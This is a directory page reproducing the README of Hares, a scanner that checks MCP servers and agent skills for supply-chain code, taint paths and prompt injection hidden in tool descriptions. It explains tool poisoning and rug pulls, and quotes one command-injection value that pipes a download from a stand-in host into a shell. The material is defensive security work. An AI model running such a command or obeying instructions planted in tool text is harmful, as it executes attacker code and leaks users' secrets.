Multi-layer security scanner for MCP servers and agent skills (injection, exfiltration)
Copy the AI prompt to install this server into Claude Code, Cursor, or another agent β or use 1-click editor setup below.
π‘ Paste into ~/Library/Application Support/Claude/claude_desktop_config.json (macOS) or %APPDATA%\Claude\claude_desktop_config.json (Windows)
A multi-layer security scanner for MCP servers and agent skills.
Hares reads an MCP server the way an attacker writes one: it looks at the package metadata, the code, the text the model is going to read, and β if you ask it to β the process the code actually starts. It reports what it found, what it could not analyze, and how sure it is about each of those.
When you install an MCP server, two things happen that have no equivalent in ordinary dependency management.
One: its code runs on your machine with your permissions. An MCP server is usually an
npm package. npm install executes its postinstall script before you have read a line of
it. That part is a familiar supply-chain problem with familiar answers.
Two β and this one is new: its text runs on your model. Tool names, descriptions,
schema property names, enum values, annotations, error strings β all of it is inserted
into the agent's context as instructions the model has been trained to follow. A tool
description is not documentation. It is a prompt, authored by whoever published the package,
delivered straight into a loop that has your filesystem, your shell, and your API keys.
A tool that says
is a working exfiltration primitive. It contains no malicious code at all. Every SAST tool in existence reads that file and finds nothing, because from a compiler's point of view there is nothing there β just a string literal.
2026-07-28 made the protocol stateless β no initialize handshake,
no sessions, and server/discover is required. Tool text is now fetched per call by
clients that cache nothing, which makes a description that changes after review (a rug
pull) cheaper to execute and harder to notice.So there is a documented, named class of attacks with no protocol-level defense and no registry-level check. That space is what Hares scans.
Here is a real MCP server from the test corpus. Read it the way a reviewer would, in a hurry, approving a dependency bump.
fixtures/malicious/exec_injection/server.js
Nothing here is obfuscated. There is no eval, no base64, no network call. It is a
one-line template literal in a plausible utility β and directory is a value the model
chooses, which means it is a value an attacker who can talk to the model chooses.
du -sh /tmp; curl evil.invalid | sh is a valid directory.
What Hares says:
(That coverage line follows --lang: every note carries a catalog key plus params and is
rendered in the reader's language at output time β the same design the findings always used.
The hidden-text signal descriptors that used to be interpolated into rule text in one language
now go through the same catalog too, so an English report is English throughout. The only
non-English text left in an --lang en report is scanned content quoted back as evidence β
an attacker's own string, shown verbatim on purpose.)
Exit code 1. It did not match "exec is dangerous" β it traced directory from the tool
handler's parameter list, through the template literal, into child_process.exec, and
reports the number of steps it took. The second finding is the same rule on a different
path: file reaches the sink in three steps, via a concatenated cmd variable.
The last block is the one worth noticing. This target has no package.json, so layer 1's
metadata checks could not run β and the report says so, instead of letting a check that never
happened look like a check that passed.
And on the poisoned-description server above, where there is no dangerous code at all:
A clean server, for contrast β fixtures/benign/vendored_memory, a real open-source MCP
server vendored from upstream:
Exit code 0. One info-level note, correctly not treated as a reason to block anything.
Package name. The bare name
hareswas taken on npm (published then unpublished, which npm does not allow reusing), so the package publishes under the scope@alihashim313/hares. The command it installs is stillhares.
Requires Node β₯ 20.19. Layer 4 additionally requires Docker; every other layer is pure static analysis with no network access and no execution.
From source:
diff compares the tools of two versions and reports whether the text or declared behaviour
changed toward injection or privilege escalation between them β the rug-pull pattern. A
plain wording change stays needs_review; only a change that introduces an injection pattern
that was not there before is confirmed. It is static-only and never runs either version.
| Option | Meaning |
|---|---|
--format text|json|sarif | output format (default text) |
--lang en|ar | report language (default en) |
--sandbox | enable layer 4 β executes the target inside Docker |
--fail-on safe|review|medium|high | exit 1 at or above this band (default high) |
--disable <ids> | comma-separated rule ids to switch off, repeatable |
--no-suppress | ignore every hares-ignore comment and .haresignore entry shipped with the target |
--output <file> | write the report to a file instead of stdout |
--quiet | one line per finding, no coverage section |
--no-color | disable ANSI colour (NO_COLOR is honoured too) |
Exit codes are the contract with CI, and 1 is deliberately not merged with 2:
| Code | Meaning |
|---|---|
0 | clean, or risk below --fail-on |
1 | findings at or above --fail-on |
2 | scan error β target not found, fetch failed, invalid arguments. Nothing was scanned. |
A pipeline that cannot tell "we found nothing" from "we never ran" is a pipeline that reports broken tooling as a security pass.
For CI specifically β a baseline so the build only fails on new findings
(hares baseline <target> then hares scan β¦ --baseline <file>), a ready-made GitHub
Action (uses: alialrikabi313/hares@β¦), and SARIF upload to code scanning β see
docs/ci.md.
Remote targets are downloaded to a temp directory and scanned as a local folder. npm pack
is invoked with --ignore-scripts; git clone is shallow, --single-branch, with symlinks
disabled and protocols restricted to HTTPS. No install script is ever executed β
running postinstall during a scan whose entire purpose is to warn you about postinstall
would defeat the tool.
Hares ships as an MCP server, so an agent can scan a server before you install it. It speaks stdio.
Four tools: scan_server (full scan), quick_check (layers 1 and 3 only β a triage tier
that explicitly reports layer 2 as skipped, because a clean quick check is not a clean bill
of health), explain_finding (returns the full catalog entry for a rule id), and
diff_versions (the rug-pull check above, so an agent can compare two versions before an
upgrade). See src/mcp/README.md for the complete tool schemas, the
result shape, and the client-config gotchas.
The mount is read-only and the network is off, because the scanner is static and needs
neither. Note this is the runtime image; docker/sandbox.Dockerfile is a different
image entirely β that one is where the scanned code runs during layer 4.
On Windows under Git Bash, pass a Windows-style path and disable path conversion:
Each layer is independent. It gets a target, returns findings and a coverage report, and knows nothing about the others. Full contracts in docs/architecture.md.
Reads package.json / pyproject.toml and the file tree; no code parsing needed. Catches
the cheap, early signals: lifecycle scripts that fetch or evaluate remote code, unpinned or
git-URL dependencies, typosquatted package names (DamerauβLevenshtein against a curated
list of popular packages, plus homoglyph detection), credential files shipped inside the
package (.env, id_rsa, an .npmrc with an auth token), unreviewable binaries, missing
provenance, and a description that contradicts what the package actually imports.
Why first: postinstall runs before anyone reviews anything, so the check that catches
it must not depend on a successful parse.
Four detectors under one layer:
exec from
argv-array execFile/spawn), dynamic evaluation (eval, new Function, vm, string
timers, dynamic require), credential-file reads, bulk process.env dumping as opposed
to a single key read, network egress classified by destination, privilege escalation and
persistence, prototype pollution.shell=True and implicit-shell subprocess calls, eval/exec,
pickle/marshal/unsafe yaml.load, sensitive-path access, egress.String.fromCharCode and chr() chains,
high-entropy literals, identifiers assembled from fragments ("ev" + "al"), reassuring
function names wrapping dangerous sinks, packed source.process.argv, process.env)
through assignments and calls to a sink (shell exec, code eval, path traversal, SSRF,
SQL), reports the path step by step, and understands sanitizers: an allowlist check,
path.basename, a zod .parse(), or an early-throw guard all clear the taint.The layer no conventional SAST has, because it analyzes prose rather than code. Its input
is the text an LLM actually reads: tool names, titles, descriptions, annotations, _meta,
server instructions, error messages, and adjacent documentation.
inputSchema / outputSchema / _meta tree,
not just description: instructions hidden in property names and enum values, $refs
pointing at internal or network hosts, deep anyOf/oneOf composition bombs, oversized
enums meant to flood context, parameters that ask for secrets, permissive schemas, and
duplicate tool names β a spec violation used to hijack an existing tool.readOnlyHint / destructiveHint / openWorldHint) against what its handler body
actually does. A tool annotated readOnlyHint: true that writes files is lying to the
client's permission UI.The only layer that executes anything. It runs the server inside a Docker container under a
hard isolation policy β --network none, --read-only, --cap-drop ALL,
no-new-privileges, non-root user, 256 MB, 128 PIDs, 1 CPU, read-only bind mount β with a
Node preload that instruments fs, net, dns, child_process, and process.env, plus an
independent /proc sampler that a target cannot evade by bypassing Node's APIs.
It plants canary secrets (fake AWS_SECRET_ACCESS_KEY, a fake ~/.ssh/id_rsa, and others)
and reports if any of them appears in an outbound payload. Every observation is scrubbed of
paths, PIDs, timestamps and UUIDs before it becomes a finding, so two runs of the same code
produce byte-identical reports.
It never pulls the base image during a scan, and if Docker is unavailable the layer is skipped with a coverage note rather than failing the scan β a security tool that dies because an optional layer is missing teaches people to turn the whole tool off.
Combines findings into one score and a band (safe / review / medium / high).
It registers no detection rules of its own. Two dimensions are kept apart on purpose;
see why.
Against the 54-case labeled corpus in fixtures/, at alert
threshold medium:
| Metric | Value |
|---|---|
| Precision | 1.000 |
| Recall | 1.000 |
| F1 | 1.000 |
| TP / FP / TN / FN | 32 / 0 / 22 / 0 |
| Sample size | 54 cases (32 malicious, 22 benign) |
Reproduce it yourself β this is the exact command, and the numbers above are its output:
Separately, a second harness scans 33 real-world evasion variants collected during
adversarial audit β transpiled JS, from-imports, aliased sinks, no-op sanitizers,
self-suppression β none of which are in the calibration corpus. Baseline recall on those was
2/33; it is now 33/33 (node scripts/redteam_recall.mjs). That set is the honest
answer to "does it catch anything but the textbook spelling."
A tool reporting 1.000 precision and 1.000 recall on its own test set has demonstrated that its detectors and its test set agree with each other. That is a necessary property, and it is nowhere near sufficient to claim real-world accuracy.
The corpus is largely self-authored, and that makes it favorable. 50 of the 54 cases
were written by this project. Malicious cases were written to embody a specific attack
class, and benign cases were written to sit close to the danger line without crossing it.
Where a case initially failed, the usual fix was to improve the rule β which is legitimate
engineering and also, unavoidably, fitting the detector to the sample. A held-out corpus
authored by someone else would produce a lower number, and that number would mean more than
this one. The 1.000 recall in particular rose from an earlier 0.875 by fixing the four
cases the corpus itself missed β which is exactly the circularity to be suspicious of. The
33-variant evasion set above exists because the corpus alone was not a fair test.
Treat 54 as the headline figure, not 1.000. 54 samples is a small corpus.
What keeps it from being purely circular:
mcp-server-fetch, mcp-server-time, memory, sequentialthinking) with their
licenses and upstream commit SHAs recorded in fixtures/manifest.json. Precision on real
third-party code is the number that would break first if the rules were overfitted.execFile with an allowlist,
path.resolve with containment checks, a parameterized SQL query, yaml.safe_load,
legitimate base64 assets, a minified bundle, non-English and emoji tool descriptions, and
descriptions that contain security trigger words for honest reasons. Those exist purely to
make precision hard to earn.There is now a second, larger benchmark in tests/fixtures/benchmark/,
separate from the calibration corpus above: 40 benign and 41 malicious inert cases, many of
the benign ones deliberately close to the danger line (declared network egress, execFile with
constant arguments, base64 used as data, an honest readOnlyHint). scripts/benchmark.mjs runs
it and prints a confusion matrix and per-rule precision/recall; the gate in
tests/benchmark.test.ts requires FP=0 on the benign set and recall β₯ 0.95 on the malicious
set. It is deterministic and currently measures precision 1.000 / recall 1.000 with every
expected rule attributed correctly. Just as importantly, three cases it surfaced as detection
gaps are kept under benchmark/gap/ and listed in known_gaps rather than quietly dropped β
one of those (an arrow-function .constructor eval-escape) was then fixed and promoted into the
gated set; the other two are honest misses left documented, because a corpus that hides what a
tool fails to catch is worse than no corpus.
Precision of 1.000 on 22 benign cases means "zero false positives on twenty-two samples", not "zero false positives". The honest claim is: on this corpus, at this threshold, no benign case triggered an alert and every malicious case did. Anything beyond that sentence is extrapolation. Point it at your own code and tell us what it gets wrong β a false positive on real code is a more valuable bug report than a new attack class.
Every static analyzer has a boundary. Most tools describe only the inside of theirs. Here is the outside of ours, because a limitation you do not know about is indistinguishable from a guarantee you were never given.
registerTool / tool / addTool calls, tools: [...] array literals, and zod .describe()
shapes; Python @mcp.tool() / FastMCP decorators, description from a description= argument or
the function docstring. Prompts (registerPrompt / @mcp.prompt) and resources
(registerResource / @mcp.resource) are extracted too β their name, title, description, and
a resource's uri are model-facing text, so a directive hidden in a prompt template or a
resource description is caught (rules HARES-L3-INJ-011 / -012) instead of being invisible,
which it was until this release. A poisoned Python @mcp.tool() docstring is found β and so
is a poisoned parameter description declared as Field(description=β¦) or Annotated[T, β¦],
reconstructed into an inputSchema the poisoning and hidden-text rules walk. What is still
not reconstructed is the parameter typing (FastMCP derives it from type hints), so
structural checks that need types β enum bounds, additionalProperties β are narrower for
Python than for a JS server that ships an explicit JSON Schema.SKILL.md) are a first-class target. A skill's YAML frontmatter and
instruction body are model-facing text β the description decides when the skill activates and
the body is loaded whole into context β so both go through the injection and hidden-text engines
(rule HARES-L3-INJ-013), and a skill that grants itself both execution and network tools in
allowed-tools is surfaced as a capability disclosure (HARES-L1-SKILL-001, needs_review).
The frontmatter parser is a small hand-written one, not a full YAML library, because the
frontmatter is attack surface. Bundled scripts in the skill directory are scanned by layers 1β2
like any other code.server.setRequestHandler(CallToolRequestSchema, ...) β the low-level SDK v1 registration
form β is not extracted from the request-handler shape itself. But a tools: [...] array
that handler returns is now read, including when the array is passed by reference through a
single-definition const, and including tool objects assembled by spreading a statically
evaluable constant ({ name, ...shared }). The schema layer sees those tools..map()/factory, or given a dynamically computed name. A computed name
cannot be resolved without executing code, and guessing it would invent findings.this or method
resolution. No class fields.this.field, aliases, ordinary tagged-template interpolations, and
compiled-CJS call shapes are now tracked (all added under adversarial audit).
Cross-module flow is still out of scope. This is a chosen tradeoff: it costs coverage to
buy precision.beacon`${process.env.KEY}` β where beacon is a locally-defined tag function
that .join()s its rest parameter into a fetch URL β is not traced end to end, because the
engine does not model the tagged-template calling convention into a helper's rest param. It
still surfaces at review (undeclared egress plus a silent env read), not a silent safe,
but it is not raised to a confirmed taint finding. Modeling it interprocedurally was judged
too false-positive-prone to add without evidence it occurs in the wild.chmod modes, process.env context, and the read/write distinction on
__proto__ are all unavailable.https:// target is negotiated with
over the protocol and its declared surface β tools, prompts, resources β is listed and scanned,
so you can check a hosted server you have no source for. Only the listing methods
(initialize, tools/list, prompts/list, resources/list) are called; no tool is ever
invoked, because listing reads metadata while invoking runs code on a server you do not own.
There is no source code to analyze, so Layer 2 (taint/static) and Layer 4 (sandbox) do not apply
and the report says so. Responses are capped in size, count, and time, and redirects are refused.parse_failed in the coverage section, with the error. Same for skipped,
unsupported_lang and degraded. If a layer crashes, the scan continues and the failure
becomes a coverage note β it is never swallowed.--sandbox. Executing unknown code is a user decision,
not a tool default. Everything reported without that flag came from reading, never running.This is the most important real-world caveat, and it follows directly from doing the right
thing. Hares scans the code a package actually ships. Most published MCP servers ship a
single minified dist/index.js produced by esbuild or webpack, and that bundle contains not
only the server's own logic but all of its bundled dependencies inlined. So when Hares
reports new Function(...) in a scanned package, that call may belong to a validator
compiler (ajv) or a function-bind polyfill three dependencies deep β real code, really
shipped to your machine, but not something the server's author wrote. Hares cannot reliably
tell first-party code from vendored code inside a single bundle, and it does not pretend to.
Treat findings in a minified bundle as "this pattern is present in what you are about to
install," not "the author did this."
Two consequences worth naming: a package that bundles heavy dependencies will produce more
findings than one that does not, and process.env read into a config path (extremely common
in config loaders) is surfaced as a needs_review path-traversal candidate β correctly kept
below the confirmed threshold, because whether an environment variable is attacker-
controlled depends on the deployment.
An earlier 0.1.0 build rated is-plain-obj (a two-line utility) HIGH for vm usage in its
own test.js. That specific bug is fixed β findings in test/, benchmark/, examples/
and *.test.* paths are now confidence-weighted down so they cannot drive a high band
alone. It is documented here anyway because the class of problem is permanent: point Hares
at your own code and report what it gets wrong. A false positive on real code is a more
valuable bug report than a new attack class β false positives are what make people stop
reading the output.
Read the coverage block. It is the part of the report that tells you how much of the report to trust.
Version 0.1.0 was put through four independent red-team passes, each trying to break one
subsystem rather than confirm it. They found β and this build fixes β real evasions
(compiled-TypeScript call shapes, idiomatic Python from os import system, aliased and
reflected sinks, self-suppression of a package's own critical findings) and real false
positives (an entropy rule that fired 623 times on one minified server, the TypeScript
__extends helper misread as prototype pollution, psycopg flagged as a typo of psycopg2).
The evasion corpus lives on as regression tests. This does not make the tool complete β it
makes the list of known limitations above the product of someone actively trying to defeat
it, rather than the author's imagination.
Severity and confidence are separate fields on every finding, and the final score keeps them separate too. This is not stylistic.
Every finding contributes severity_weight Γ confidence Γ layer_weight to a noisy-OR
combination: risk = 1 β Ξ (1 β term). Noisy-OR is the right model for certainty β three
independent weak signals really do make it more likely that something is wrong.
But noisy-OR saturates toward 1, not toward the severity of what it found. Measured on this codebase: 50 low-severity findings reach 0.976 β higher than a single confirmed critical (0.81), and well above the high-risk threshold. Volume was simulating severity.
So the two dimensions are separated: accumulation raises certainty, and a per-severity
ceiling caps impact. A target whose worst finding is low cannot exceed 0.55 no
matter how many of them there are. Raising a target to the high band additionally requires
at least one confirmed finding of high severity or worse β a pile of maybes never
reaches the top band, which is precisely the behavior that teaches people to ignore security
tools.
per_layer contributions and the driving rule ids are in every result, so the band is
auditable rather than a black box.
| Page | What is in it |
|---|---|
| docs/quickstart.md | Install, first scan, reading a report, exit codes |
| docs/rules.md | All 139 rules β generated from the registry, never hand-written |
| docs/architecture.md | Layer contracts, the finding schema, determinism, scoring |
| docs/integrations.md | GitHub Actions + SARIF, pre-commit hook, calling it from an agent |
| src/mcp/README.md | The MCP server: tools, schemas, result shape |
| CONTRIBUTING.md | Adding a rule, the mandatory false-positive test, determinism rules |
| SECURITY.md | Reporting a vulnerability in Hares; the hostile-corpus policy |
Hares is not the first tool in this space, and the others are worth your time.
snyk-agent-scan) β the tool that named tool poisoning, rug pulls
and tool shadowing. It pins tool descriptions and detects changes over time, and offers a
proxy mode for runtime monitoring.Where Hares differs: it combines dependency/manifest analysis, real taint tracking, prose analysis of the model-facing surface, and optional sandboxed behavioral observation behind one deterministic result schema and one published, labeled corpus β and it reports its own coverage gaps as part of every result. Bilingual (English/Arabic) reporting is, as far as I know, unique to it.
Rules are cheap to write and expensive to get right. Every rule ships with a paired test proving it does not fire on legitimate code that looks similar; a rule without that test is not accepted. See CONTRIBUTING.md.
MIT.
Built by Ali Alrikabi β software developer focused on AI tooling, security, and developer experience.
Showcase your server listing on GitHub or your project documentation. Embed this dynamic SVG badge to highlight official listing status and live engagement.
[](https://allmcps.com/mcp/hares-mcp-security-scanner)<a href="https://allmcps.com/mcp/hares-mcp-security-scanner"><img src="https://allmcps.com/api/badge/hares-mcp-security-scanner?style=directory" alt="Hares β MCP security scanner on AllMCPs" /></a>